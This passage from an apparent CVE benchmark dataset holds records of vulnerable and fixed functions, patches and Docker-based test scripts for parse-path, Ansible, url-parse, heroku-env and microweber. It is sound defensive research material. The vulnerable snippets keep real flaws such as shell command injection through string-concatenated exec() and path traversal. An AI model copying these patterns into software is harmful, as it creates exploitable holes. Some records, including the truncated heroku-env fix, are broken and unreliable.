such as parse-url, git-url-parse, git-up\n        output.protocols = [\"file\"]\n        output.protocol = output.protocols[0]\n        output.port = \"\"\n        output.resource =  \"\"\n        output.user = \"\"\n        output.pathname = \"\"\n        output.hash = \"\"\n        output.search = \"\"\n        output.href = url\n        output.query = {}\n    }\n\n    return output;\n}"}], "vul_patch": "--- a/lib/index.js\n+++ b/lib/index.js\n@@ -1,107 +1,47 @@\n function parsePath(url) {\n-    url = (url || \"\").trim().replace(/\\r?\\n|\\r/gm, \"\")\n-    var output = {\n-            protocols: protocols(url)\n-          , protocol: null\n-          , port: null\n-          , resource: \"\"\n-          , user: \"\"\n-          , pathname: \"\"\n-          , hash: \"\"\n-          , search: \"\"\n-          , href: url\n-          , query: Object.create(null)\n-        }\n-      , protocolIndex = url.indexOf(\"://\")\n-      , resourceIndex = -1\n-      , splits = null\n-      , parts = null\n-      ;\n \n-    if (url.startsWith(\".\")) {\n-        if (url.startsWith(\"./\")) {\n-            url = url.substring(2);\n-        }\n-        output.pathname = url;\n-        output.protocol = \"file\";\n+    const output = {\n+        protocols: []\n+      , protocol: null\n+      , port: null\n+      , resource: \"\"\n+      , user: \"\"\n+      , password: \"\"\n+      , pathname: \"\"\n+      , hash: \"\"\n+      , search: \"\"\n+      , href: url\n+      , query: {}\n     }\n \n-    const firstChar = url.charAt(1)\n-    if (!output.protocol) {\n+    try {\n+        const parsed = new URL(url)\n+        output.protocols = protocols(parsed)\n         output.protocol = output.protocols[0]\n-        if (!output.protocol) {\n-            if (isSsh(url)) {\n-                output.protocol = \"ssh\"\n-            } else if (firstChar === \"/\" || firstChar === \"~\") {\n-                url = url.substring(2)\n-                output.protocol = \"file\"\n-            } else {\n-                output.protocol = \"file\"\n-            }\n-        }\n+        output.port = parsed.port\n+        output.resource =  parsed.host\n+        output.user = parsed.username || \"\"\n+        output.password = parsed.password || \"\"\n+        output.pathname = parsed.pathname\n+        output.hash = parsed.hash.slice(1)\n+        output.search = parsed.search.slice(1)\n+        output.href = parsed.href\n+        output.query = Object.fromEntries(parsed.searchParams)\n+    } catch (e) {\n+        // TODO Maybe check if it is a valid local file path\n+        //      In any case, these will be parsed by higher\n+        //      level parsers such as parse-url, git-url-parse, git-up\n+        output.protocols = [\"file\"]\n+        output.protocol = output.protocols[0]\n+        output.port = \"\"\n+        output.resource =  \"\"\n+        output.user = \"\"\n+        output.pathname = \"\"\n+        output.hash = \"\"\n+        output.search = \"\"\n+        output.href = url\n+        output.query = {}\n     }\n \n-    if (protocolIndex !== -1) {\n-        url = url.substring(protocolIndex + 3);\n-    }\n-\n-    parts = url.split(/\\/|\\\\/);\n-    if (output.protocol !== \"file\") {\n-        output.resource = parts.shift();\n-    } else {\n-        output.resource = \"\";\n-    }\n-\n-    // user@domain\n-    splits = output.resource.split(\"@\");\n-    if (splits.length === 2) {\n-        output.user = splits[0];\n-        output.resource = splits[1];\n-    }\n-\n-\n-    // domain.com:port\n-    splits = output.resource.split(\":\");\n-    if (splits.length === 2) {\n-        output.resource = splits[0];\n-        const port = splits[1];\n-        if (port) {\n-            output.port = Number(port);\n-            if (isNaN(output.port) || port.match(/^\\d+$/) === null) {\n-                output.port = null;\n-                parts.unshift(port);\n-            }\n-        } else {\n-            output.port = null\n-        }\n-    }\n-\n-    // Remove empty elements\n-    parts = parts.filter(Boolean);\n-\n-    // Stringify the pathname\n-    if (output.protocol === \"file\") {\n-        output.pathname = output.href\n-    } else {\n-      output.pathname = output.pathname || ((output.protocol !== \"file\" || output.href[0] === \"/\" ? \"/\" : \"\") + parts.join(\"/\"));\n-    }\n-\n-    // #some-hash\n-    splits = output.pathname.split(\"#\");\n-    if (splits.length === 2) {\n-        output.pathname = splits[0];\n-        output.hash = splits[1];\n-    }\n-\n-    // ?foo=bar\n-    splits = output.pathname.split(\"?\");\n-    if (splits.length === 2) {\n-        output.pathname = splits[0];\n-        output.search = splits[1];\n-    }\n-\n-    output.query = qs.parse(output.search);\n-    output.href = output.href.replace(/\\/$/, \"\")\n-    output.pathname = output.pathname.replace(/\\/$/, \"\")\n     return output;\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-3828", "cve_description": "Ansible fetch module before versions 2.5.15, 2.6.14, 2.7.8 has a path traversal vulnerability which allows copying and overwriting files outside of the specified destination in the local ansible controller host, by not restricting an absolute path.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/ansible/ansible", "patch_url": ["https://github.com/ansible/ansible/commit/f3edc091523fbe301926b7a0db25fbbd96940d93", "https://github.com/ansible/ansible/commit/396a2f74717477d80600450e2b7e45349d7b5110", "https://github.com/ansible/ansible/commit/4be3215d2f9f84ca283895879f0c6ce1ed7dd333"], "programing_language": "Python", "vul_func": [{"id": "vul_py_280_1", "commit": "ad9be10", "file_path": "lib/ansible/plugins/action/__init__.py", "start_line": 564, "end_line": 612, "snippet": "    def _remote_expand_user(self, path, sudoable=True, pathsep=None):\n        ''' takes a remote path and performs tilde/$HOME expansion on the remote host '''\n\n        # We only expand ~/path and ~username/path\n        if not path.startswith('~'):\n            return path\n\n        # Per Jborean, we don't have to worry about Windows as we don't have a notion of user's home\n        # dir there.\n        split_path = path.split(os.path.sep, 1)\n        expand_path = split_path[0]\n\n        if expand_path == '~':\n            # Network connection plugins (network_cli, netconf, etc.) execute on the controller, rather than the remote host.\n            # As such, we want to avoid using remote_user for paths  as remote_user may not line up with the local user\n            # This is a hack and should be solved by more intelligent handling of remote_tmp in 2.7\n            if getattr(self._connection, '_remote_is_local', False):\n                pass\n            elif sudoable and self._play_context.become and self._play_context.become_user:\n                expand_path = '~%s' % self._play_context.become_user\n            else:\n                # use remote user instead, if none set default to current user\n                expand_path = '~%s' % (self._play_context.remote_user or self._connection.default_user or '')\n\n        # use shell to construct appropriate command and execute\n        cmd = self._connection._shell.expand_user(expand_path)\n        data = self._low_level_execute_command(cmd, sudoable=False)\n\n        try:\n            initial_fragment = data['stdout'].strip().splitlines()[-1]\n        except IndexError:\n            initial_fragment = None\n\n        if not initial_fragment:\n            # Something went wrong trying to expand the path remotely. Try using pwd, if not, return\n            # the original string\n            cmd = self._connection._shell.pwd()\n            pwd = self._low_level_execute_command(cmd, sudoable=False).get('stdout', '').strip()\n            if pwd:\n                expanded = pwd\n            else:\n                expanded = path\n\n        elif len(split_path) > 1:\n            expanded = self._connection._shell.join_path(initial_fragment, *split_path[1:])\n        else:\n            expanded = initial_fragment\n\n        return expanded"}], "fix_func": [{"id": "fix_py_280_1", "commit": "f3edc091523fbe301926b7a0db25fbbd96940d93", "file_path": "lib/ansible/plugins/action/__init__.py", "start_line": 564, "end_line": 615, "snippet": "    def _remote_expand_user(self, path, sudoable=True, pathsep=None):\n        ''' takes a remote path and performs tilde/$HOME expansion on the remote host '''\n\n        # We only expand ~/path and ~username/path\n        if not path.startswith('~'):\n            return path\n\n        # Per Jborean, we don't have to worry about Windows as we don't have a notion of user's home\n        # dir there.\n        split_path = path.split(os.path.sep, 1)\n        expand_path = split_path[0]\n\n        if expand_path == '~':\n            # Network connection plugins (network_cli, netconf, etc.) execute on the controller, rather than the remote host.\n            # As such, we want to avoid using remote_user for paths  as remote_user may not line up with the local user\n            # This is a hack and should be solved by more intelligent handling of remote_tmp in 2.7\n            if getattr(self._connection, '_remote_is_local', False):\n                pass\n            elif sudoable and self._play_context.become and self._play_context.become_user:\n                expand_path = '~%s' % self._play_context.become_user\n            else:\n                # use remote user instead, if none set default to current user\n                expand_path = '~%s' % (self._play_context.remote_user or self._connection.default_user or '')\n\n        # use shell to construct appropriate command and execute\n        cmd = self._connection._shell.expand_user(expand_path)\n        data = self._low_level_execute_command(cmd, sudoable=False)\n\n        try:\n            initial_fragment = data['stdout'].strip().splitlines()[-1]\n        except IndexError:\n            initial_fragment = None\n\n        if not initial_fragment:\n            # Something went wrong trying to expand the path remotely. Try using pwd, if not, return\n            # the original string\n            cmd = self._connection._shell.pwd()\n            pwd = self._low_level_execute_command(cmd, sudoable=False).get('stdout', '').strip()\n            if pwd:\n                expanded = pwd\n            else:\n                expanded = path\n\n        elif len(split_path) > 1:\n            expanded = self._connection._shell.join_path(initial_fragment, *split_path[1:])\n        else:\n            expanded = initial_fragment\n\n        if '..' in os.path.dirname(expanded).split('/'):\n            raise AnsibleError(\"'%s' returned an invalid relative home directory path containing '..'\" % self._play_context.remote_addr)\n\n        return expanded"}], "vul_patch": "--- a/lib/ansible/plugins/action/__init__.py\n+++ b/lib/ansible/plugins/action/__init__.py\n@@ -46,4 +46,7 @@\n         else:\n             expanded = initial_fragment\n \n+        if '..' in os.path.dirname(expanded).split('/'):\n+            raise AnsibleError(\"'%s' returned an invalid relative home directory path containing '..'\" % self._play_context.remote_addr)\n+\n         return expanded\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-3664", "cve_description": "url-parse is vulnerable to URL Redirection to Untrusted Site", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/unshiftio/url-parse", "patch_url": ["https://github.com/unshiftio/url-parse/commit/81ab967889b08112d3356e451bf03e6aa0cbb7e0"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_50_1", "commit": "ee22050", "file_path": "index.js", "start_line": 116, "end_line": 129, "snippet": "function extractProtocol(address) {\n  address = trimLeft(address);\n\n  var match = protocolre.exec(address)\n    , protocol = match[1] ? match[1].toLowerCase() : ''\n    , slashes = !!(match[2] && match[2].length >= 2)\n    , rest =  match[2] && match[2].length === 1 ? '/' + match[3] : match[3];\n\n  return {\n    protocol: protocol,\n    slashes: slashes,\n    rest: rest\n  };\n}"}, {"id": "vul_js_50_2", "commit": "ee22050", "file_path": "index.js", "start_line": 181, "end_line": 328, "snippet": "function Url(address, location, parser) {\n  address = trimLeft(address);\n\n  if (!(this instanceof Url)) {\n    return new Url(address, location, parser);\n  }\n\n  var relative, extracted, parse, instruction, index, key\n    , instructions = rules.slice()\n    , type = typeof location\n    , url = this\n    , i = 0;\n\n  //\n  // The following if statements allows this module two have compatibility with\n  // 2 different API:\n  //\n  // 1. Node.js's `url.parse` api which accepts a URL, boolean as arguments\n  //    where the boolean indicates that the query string should also be parsed.\n  //\n  // 2. The `URL` interface of the browser which accepts a URL, object as\n  //    arguments. The supplied object will be used as default values / fall-back\n  //    for relative paths.\n  //\n  if ('object' !== type && 'string' !== type) {\n    parser = location;\n    location = null;\n  }\n\n  if (parser && 'function' !== typeof parser) parser = qs.parse;\n\n  location = lolcation(location);\n\n  //\n  // Extract protocol information before running the instructions.\n  //\n  extracted = extractProtocol(address || '');\n  relative = !extracted.protocol && !extracted.slashes;\n  url.slashes = extracted.slashes || relative && location.slashes;\n  url.protocol = extracted.protocol || location.protocol || '';\n  address = extracted.rest;\n\n  //\n  // When the authority component is absent the URL starts with a path\n  // component.\n  //\n  if (!extracted.slashes || url.protocol === 'file:') {\n    instructions[3] = [/(.*)/, 'pathname'];\n  }\n\n  for (; i < instructions.length; i++) {\n    instruction = instructions[i];\n\n    if (typeof instruction === 'function') {\n      address = instruction(address);\n      continue;\n    }\n\n    parse = instruction[0];\n    key = instruction[1];\n\n    if (parse !== parse) {\n      url[key] = address;\n    } else if ('string' === typeof parse) {\n      if (~(index = address.indexOf(parse))) {\n        if ('number' === typeof instruction[2]) {\n          url[key] = address.slice(0, index);\n          address = address.slice(index + instruction[2]);\n        } else {\n          url[key] = address.slice(index);\n          address = address.slice(0, index);\n        }\n      }\n    } else if ((index = parse.exec(address))) {\n      url[key] = index[1];\n      address = address.slice(0, index.index);\n    }\n\n    url[key] = url[key] || (\n      relative && instruction[3] ? location[key] || '' : ''\n    );\n\n    //\n    // Hostname, host and protocol should be lowercased so they can be used to\n    // create a proper `origin`.\n    //\n    if (instruction[4]) url[key] = url[key].toLowerCase();\n  }\n\n  //\n  // Also parse the supplied query string in to an object. If we're supplied\n  // with a custom parser as function use that instead of the default build-in\n  // parser.\n  //\n  if (parser) url.query = parser(url.query);\n\n  //\n  // If the URL is relative, resolve the pathname against the base URL.\n  //\n  if (\n      relative\n    && location.slashes\n    && url.pathname.charAt(0) !== '/'\n    && (url.pathname !== '' || location.pathname !== '')\n  ) {\n    url.pathname = resolve(url.pathname, location.pathname);\n  }\n\n  //\n  // Default to a / for pathname if none exists. This normalizes the URL\n  // to always have a /\n  //\n  if (\n      url.pathname.charAt(0) !== '/'\n    && (url.hostname || url.protocol === 'file:')\n  ) {\n    url.pathname = '/' + url.pathname;\n  }\n\n  //\n  // We should not add port numbers if they are already the default port number\n  // for a given protocol. As the host also contains the port number we're going\n  // override it with the hostname which contains no port number.\n  //\n  if (!required(url.port, url.protocol)) {\n    url.host = url.hostname;\n    url.port = '';\n  }\n\n  //\n  // Parse down the `auth` for the username and password.\n  //\n  url.username = url.password = '';\n  if (url.auth) {\n    instruction = url.auth.split(':');\n    url.username = instruction[0] || '';\n    url.password = instruction[1] || '';\n  }\n\n  url.origin = url.protocol && url.host && url.protocol !== 'file:'\n    ? url.protocol +'//'+ url.host\n    : 'null';\n\n  //\n  // The href is just the compiled result.\n  //\n  url.href = url.toString();\n}"}], "fix_func": [{"id": "fix_js_50_1", "commit": "81ab967889b08112d3356e451bf03e6aa0cbb7e0", "file_path": "index.js", "start_line": 135, "end_line": 163, "snippet": "function extractProtocol(address, location) {\n  address = trimLeft(address);\n  location = location || {};\n\n  var match = protocolre.exec(address);\n  var protocol = match[1] ? match[1].toLowerCase() : '';\n  var rest = match[2] ? match[2] + match[3] : match[3];\n  var slashes = !!(match[2] && match[2].length >= 2);\n\n  if (protocol === 'file:') {\n    if (slashes) {\n      rest = rest.slice(2);\n    }\n  } else if (isSpecial(protocol)) {\n    rest = match[3];\n  } else if (protocol) {\n    if (rest.indexOf('//') === 0) {\n      rest = rest.slice(2);\n    }\n  } else if (slashes && location.hostname) {\n    rest = match[3];\n  }\n\n  return {\n    protocol: protocol,\n    slashes: slashes,\n    rest: rest\n  };\n}"}, {"id": "fix_js_50_2", "commit": "81ab967889b08112d3356e451bf03e6aa0cbb7e0", "file_path": "index.js", "start_line": 215, "end_line": 365, "snippet": "function Url(address, location, parser) {\n  address = trimLeft(address);\n\n  if (!(this instanceof Url)) {\n    return new Url(address, location, parser);\n  }\n\n  var relative, extracted, parse, instruction, index, key\n    , instructions = rules.slice()\n    , type = typeof location\n    , url = this\n    , i = 0;\n\n  //\n  // The following if statements allows this module two have compatibility with\n  // 2 different API:\n  //\n  // 1. Node.js's `url.parse` api which accepts a URL, boolean as arguments\n  //    where the boolean indicates that the query string should also be parsed.\n  //\n  // 2. The `URL` interface of the browser which accepts a URL, object as\n  //    arguments. The supplied object will be used as default values / fall-back\n  //    for relative paths.\n  //\n  if ('object' !== type && 'string' !== type) {\n    parser = location;\n    location = null;\n  }\n\n  if (parser && 'function' !== typeof parser) parser = qs.parse;\n\n  location = lolcation(location);\n\n  //\n  // Extract protocol information before running the instructions.\n  //\n  extracted = extractProtocol(address || '', location);\n  relative = !extracted.protocol && !extracted.slashes;\n  url.slashes = extracted.slashes || relative && location.slashes;\n  url.protocol = extracted.protocol || location.protocol || '';\n  address = extracted.rest;\n\n  //\n  // When the authority component is absent the URL starts with a path\n  // component.\n  //\n  if (\n    url.protocol === 'file:' ||\n    (!extracted.slashes && !isSpecial(extracted.protocol))\n  ) {\n    instructions[3] = [/(.*)/, 'pathname'];\n  }\n\n  for (; i < instructions.length; i++) {\n    instruction = instructions[i];\n\n    if (typeof instruction === 'function') {\n      address = instruction(address);\n      continue;\n    }\n\n    parse = instruction[0];\n    key = instruction[1];\n\n    if (parse !== parse) {\n      url[key] = address;\n    } else if ('string' === typeof parse) {\n      if (~(index = address.indexOf(parse))) {\n        if ('number' === typeof instruction[2]) {\n          url[key] = address.slice(0, index);\n          address = address.slice(index + instruction[2]);\n        } else {\n          url[key] = address.slice(index);\n          address = address.slice(0, index);\n        }\n      }\n    } else if ((index = parse.exec(address))) {\n      url[key] = index[1];\n      address = address.slice(0, index.index);\n    }\n\n    url[key] = url[key] || (\n      relative && instruction[3] ? location[key] || '' : ''\n    );\n\n    //\n    // Hostname, host and protocol should be lowercased so they can be used to\n    // create a proper `origin`.\n    //\n    if (instruction[4]) url[key] = url[key].toLowerCase();\n  }\n\n  //\n  // Also parse the supplied query string in to an object. If we're supplied\n  // with a custom parser as function use that instead of the default build-in\n  // parser.\n  //\n  if (parser) url.query = parser(url.query);\n\n  //\n  // If the URL is relative, resolve the pathname against the base URL.\n  //\n  if (\n      relative\n    && location.slashes\n    && url.pathname.charAt(0) !== '/'\n    && (url.pathname !== '' || location.pathname !== '')\n  ) {\n    url.pathname = resolve(url.pathname, location.pathname);\n  }\n\n  //\n  // Default to a / for pathname if none exists. This normalizes the URL\n  // to always have a /\n  //\n  if (\n      url.pathname.charAt(0) !== '/'\n    && (url.hostname || url.protocol === 'file:')\n  ) {\n    url.pathname = '/' + url.pathname;\n  }\n\n  //\n  // We should not add port numbers if they are already the default port number\n  // for a given protocol. As the host also contains the port number we're going\n  // override it with the hostname which contains no port number.\n  //\n  if (!required(url.port, url.protocol)) {\n    url.host = url.hostname;\n    url.port = '';\n  }\n\n  //\n  // Parse down the `auth` for the username and password.\n  //\n  url.username = url.password = '';\n  if (url.auth) {\n    instruction = url.auth.split(':');\n    url.username = instruction[0] || '';\n    url.password = instruction[1] || '';\n  }\n\n  url.origin = url.protocol && url.host && url.protocol !== 'file:'\n    ? url.protocol +'//'+ url.host\n    : 'null';\n\n  //\n  // The href is just the compiled result.\n  //\n  url.href = url.toString();\n}"}, {"id": "fix_js_50_3", "commit": "81ab967889b08112d3356e451bf03e6aa0cbb7e0", "file_path": "index.js", "start_line": 101, "end_line": 117, "snippet": "/**\n * Check whether a protocol scheme is special.\n *\n * @param {String} The protocol scheme of the URL\n * @return {Boolean} `true` if the protocol scheme is special, else `false`\n * @private\n */\nfunction isSpecial(scheme) {\n  return (\n    scheme === 'file:' ||\n    scheme === 'ftp:' ||\n    scheme === 'http:' ||\n    scheme === 'https:' ||\n    scheme === 'ws:' ||\n    scheme === 'wss:'\n  );\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,10 +1,25 @@\n-function extractProtocol(address) {\n+function extractProtocol(address, location) {\n   address = trimLeft(address);\n+  location = location || {};\n \n-  var match = protocolre.exec(address)\n-    , protocol = match[1] ? match[1].toLowerCase() : ''\n-    , slashes = !!(match[2] && match[2].length >= 2)\n-    , rest =  match[2] && match[2].length === 1 ? '/' + match[3] : match[3];\n+  var match = protocolre.exec(address);\n+  var protocol = match[1] ? match[1].toLowerCase() : '';\n+  var rest = match[2] ? match[2] + match[3] : match[3];\n+  var slashes = !!(match[2] && match[2].length >= 2);\n+\n+  if (protocol === 'file:') {\n+    if (slashes) {\n+      rest = rest.slice(2);\n+    }\n+  } else if (isSpecial(protocol)) {\n+    rest = match[3];\n+  } else if (protocol) {\n+    if (rest.indexOf('//') === 0) {\n+      rest = rest.slice(2);\n+    }\n+  } else if (slashes && location.hostname) {\n+    rest = match[3];\n+  }\n \n   return {\n     protocol: protocol,\n\n--- a/index.js\n+++ b/index.js\n@@ -34,7 +34,7 @@\n   //\n   // Extract protocol information before running the instructions.\n   //\n-  extracted = extractProtocol(address || '');\n+  extracted = extractProtocol(address || '', location);\n   relative = !extracted.protocol && !extracted.slashes;\n   url.slashes = extracted.slashes || relative && location.slashes;\n   url.protocol = extracted.protocol || location.protocol || '';\n@@ -44,7 +44,10 @@\n   // When the authority component is absent the URL starts with a path\n   // component.\n   //\n-  if (!extracted.slashes || url.protocol === 'file:') {\n+  if (\n+    url.protocol === 'file:' ||\n+    (!extracted.slashes && !isSpecial(extracted.protocol))\n+  ) {\n     instructions[3] = [/(.*)/, 'pathname'];\n   }\n \n\n--- /dev/null\n+++ b/index.js\n@@ -0,0 +1,17 @@\n+/**\n+ * Check whether a protocol scheme is special.\n+ *\n+ * @param {String} The protocol scheme of the URL\n+ * @return {Boolean} `true` if the protocol scheme is special, else `false`\n+ * @private\n+ */\n+function isSpecial(scheme) {\n+  return (\n+    scheme === 'file:' ||\n+    scheme === 'ftp:' ||\n+    scheme === 'http:' ||\n+    scheme === 'https:' ||\n+    scheme === 'ws:' ||\n+    scheme === 'wss:'\n+  );\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-3664:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/url-parse\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch  /workspace/dep.patch\nnode --require ./preload.js ./node_modules/.bin/mocha --grep \"handles slashes after the protocol for non special URLs\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-3664:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/url-parse\ngit apply --whitespace=nowarn /workspace/fix.patch /workspace/dep.patch\nnode --require ./preload.js ./node_modules/.bin/mocha --grep 'correctly resolves paths|handles the file: protocol' --invert test/test.js"}
{"cve_id": "CVE-2020-28437", "cve_description": "This affects all versions of package heroku-env. The injection point is located in lib/get.js which is required by index.js.", "cwe_info": {"CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}}, "repo": "https://github.com/brianc/node-heroku-env", "patch_url": ["https://github.com/brianc/node-heroku-env/commit/55830e3ab777d3565bd37c084e6abb7ebc5497e8"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_24_1", "commit": "e3d881b", "file_path": "lib/get.js", "start_line": 2, "end_line": 19, "snippet": "module.exports = function(app, cb) {\n  exec('heroku config --app ' + app, function(err, stdout) {\n    if(err) return cb(err);\n    var config = {}\n    var lines = stdout.split('\\n')\n    lines.shift()\n    lines.forEach(function(line) {\n      if(!line.trim()) return;\n      var parts = line.split(': ')\n      if(!parts[1]) {\n        console.log('could not parse', line)\n      } else {\n        config[parts[0].trim()] = parts[1].trim()\n      }\n    })\n    cb(null, config)\n  })\n}"}], "fix_func": [{"id": "fix_js_24_1", "commit": "5555830e3ab777d3565bd37c084e6abb7ebc5497e830e3", "file_path": "lib/get.js", "start_line": 2, "end_line": 19, "snippet": "var execFile = require('child_process').execFile;\nmodule.exports = function(app, cb) {\n  execFile(`heroku`, [\"config\", \"--app\", app] , function(err, stdout) {\n    if(err) return cb(err);\n    var config = {}\n    var lines = stdout.split('\n')"}], "vul_patch": "--- a/lib/get.js\n+++ b/lib/get.js\n@@ -1,18 +1,7 @@\n+var execFile = require('child_process').execFile;\n module.exports = function(app, cb) {\n-  exec('heroku config --app ' + app, function(err, stdout) {\n+  execFile(`heroku`, [\"config\", \"--app\", app] , function(err, stdout) {\n     if(err) return cb(err);\n     var config = {}\n-    var lines = stdout.split('\\n')\n-    lines.shift()\n-    lines.forEach(function(line) {\n-      if(!line.trim()) return;\n-      var parts = line.split(': ')\n-      if(!parts[1]) {\n-        console.log('could not parse', line)\n-      } else {\n-        config[parts[0].trim()] = parts[1].trim()\n-      }\n-    })\n-    cb(null, config)\n-  })\n-}\n+    var lines = stdout.split('\n+')\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-28437:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-heroku-env\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2022-0504", "cve_description": "Generation of Error Message Containing Sensitive Information in Packagist microweber/microweber prior to 1.2.11.", "cwe_info": {"CWE-209": {"name": "Generation of Error Message Containing Sensitive Information", "description": "The product generates an error message that includes sensitive information about its environment, users, or associated data."}}, "repo": "https://github.com/microweber/microweber", "patch_url": ["https://github.com/microweber/microweber/commit/e607e5f745cd99d5c06a7fce16b3577fab8e1250"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_311_1", "commit": "48000154152fcfab1c993eac0934bc7097954289", "file_path": "userfiles/modules/admin/backup/js/restore.js", "start_line": 117, "end_line": 178, "snippet": "\tstart_import: function (session_id) {\n\n\n\t\tmw.notification.success('Importing...', 10000, 'import');\n\n\t\t$('.button-start').addClass('disabled');\n\n\t\t$('.backup-import-modal-log-progress').show();\n\n        var import_by_type = $('input[name=\"import_by_type\"]:checked').val();\n\n        data.session_id = session_id;\n\n\t\tdata.installation_language = $('.js-backup-import-installation-language').val();\n\n\t\tif (import_by_type == '1') {\n            data.import_by_type = 'delete_all';\n        }\n        if (import_by_type == '2') {\n            data.import_by_type = 'overwrite_by_id';\n        }\n        if (import_by_type == '3') {\n            data.import_by_type = 'overwrite_by_titles';\n        }\n\n\t\t$.ajax({\n\t\t  dataType: \"json\",\n\t\t  url: route('admin.backup.restore'),\n\t\t  data: data,\n\t\t  success: function(json_data) {\n\n\t\t\tif (json_data.error) {\n\t\t\t\t$('.button-start').removeClass('disabled');\n\t\t\t\t$('#backup-import-progressbar').remove();\n\t\t\t\tmw.restore.get_log_check('stop');\n\t\t\t\t$('#mw_backup_import_modal').find('.backup-import-modal-log').before('<h3>Error!</h3><br />' + json_data.error);\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif (json_data.done) {\n\t\t\t\tmw.restore.get_progress(100);\n\t\t\t\tmw.restore.get_log_check('stop');\n\t\t\t\t//mw.spinner({element: \".button-start\", size: 30, color: 'white'}).hide()\n\t\t\t\t$('.button-start').removeClass('disabled');\n\n\t\t\t\t$('#mw_backup_import_modal').find('.backup-import-modal-log').before('<h3>All data is restored successfully!</h3>');\n                $('#mw_backup_import_modal').find('.button-start').html('Done');\n                $('#mw_backup_import_modal').find('.button-start').attr('onClick', 'mw.restore.close_import_modal();').html('Done!');\n\t\t\t\treturn;\n\t\t\t} else {\n\t\t\t\tmw.restore.get_progress(json_data.precentage);\n\t\t\t\tif($('.backup-import-modal-log').length > 0){\n\t\t\t\t\t$('.backup-import-modal-log')[0].scrollTop =$('.backup-import-modal-log')[0].scrollHeight;\n\t\t\t\t}\n\t\t\t\tsetTimeout(function(){\n                    mw.restore.start_import(json_data.session_id);\n                }, 300);\n\n\t\t\t}\n\t\t  }\n\t\t});\n\t},"}], "fix_func": [{"id": "fix_js_311_1", "commit": "e607e5f745cd99d5c06a7fce16b3577fab8e1250", "file_path": "userfiles/modules/admin/backup/js/restore.js", "start_line": 117, "end_line": 182, "snippet": "\tstart_import: function (session_id) {\n\n\n\t\tmw.notification.success('Importing...', 10000, 'import');\n\n\t\t$('.button-start').addClass('disabled');\n\n\t\t$('.backup-import-modal-log-progress').show();\n\n        var import_by_type = $('input[name=\"import_by_type\"]:checked').val();\n\n        data.session_id = session_id;\n\n\t\tdata.installation_language = $('.js-backup-import-installation-language').val();\n\n\t\tif (import_by_type == '1') {\n            data.import_by_type = 'delete_all';\n        }\n        if (import_by_type == '2') {\n            data.import_by_type = 'overwrite_by_id';\n        }\n        if (import_by_type == '3') {\n            data.import_by_type = 'overwrite_by_titles';\n        }\n\n\t\t$.ajax({\n\t\t  dataType: \"json\",\n\t\t  url: route('admin.backup.restore'),\n\t\t  data: data,\n\t\t  success: function(json_data) {\n\n\t\t\tif (json_data.error) {\n\t\t\t\t$('.button-start').removeClass('disabled');\n\t\t\t\t$('#backup-import-progressbar').remove();\n\t\t\t\tmw.restore.get_log_check('stop');\n\t\t\t\t$('#mw_backup_import_modal').find('.backup-import-modal-log').before('<h3>Error!</h3><br />' + json_data.error);\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif (json_data.done) {\n\n                mw.restore.reload_mw_db();\n                mw.clear_cache();\n\n\t\t\t\tmw.restore.get_progress(100);\n\t\t\t\tmw.restore.get_log_check('stop');\n\t\t\t\t//mw.spinner({element: \".button-start\", size: 30, color: 'white'}).hide()\n\t\t\t\t$('.button-start').removeClass('disabled');\n\n\t\t\t\t$('#mw_backup_import_modal').find('.backup-import-modal-log').before('<h3>All data is restored successfully!</h3>');\n                $('#mw_backup_import_modal').find('.button-start').html('Done');\n                $('#mw_backup_import_modal').find('.button-start').attr('onClick', 'mw.restore.close_import_modal();').html('Done!');\n\t\t\t\treturn;\n\t\t\t} else {\n\t\t\t\tmw.restore.get_progress(json_data.precentage);\n\t\t\t\tif($('.backup-import-modal-log').length > 0){\n\t\t\t\t\t$('.backup-import-modal-log')[0].scrollTop =$('.backup-import-modal-log')[0].scrollHeight;\n\t\t\t\t}\n\t\t\t\tsetTimeout(function(){\n                    mw.restore.start_import(json_data.session_id);\n                }, 300);\n\n\t\t\t}\n\t\t  }\n\t\t});\n\t},"}, {"id": "fix_js_311_2", "commit": "e607e5f745cd99d5c06a7fce16b3577fab8e1250", "file_path": "userfiles/modules/admin/backup/js/restore.js", "start_line": 184, "end_line": 187, "snippet": "    reload_mw_db: function () {\n        $.post(mw.settings.api_url + 'mw_post_update');\n        mw.notification.success(\"The DB was reloaded\");\n    }, "}], "vul_patch": "--- a/userfiles/modules/admin/backup/js/restore.js\n+++ b/userfiles/modules/admin/backup/js/restore.js\n@@ -38,6 +38,10 @@\n \t\t\t}\n \n \t\t\tif (json_data.done) {\n+\n+                mw.restore.reload_mw_db();\n+                mw.clear_cache();\n+\n 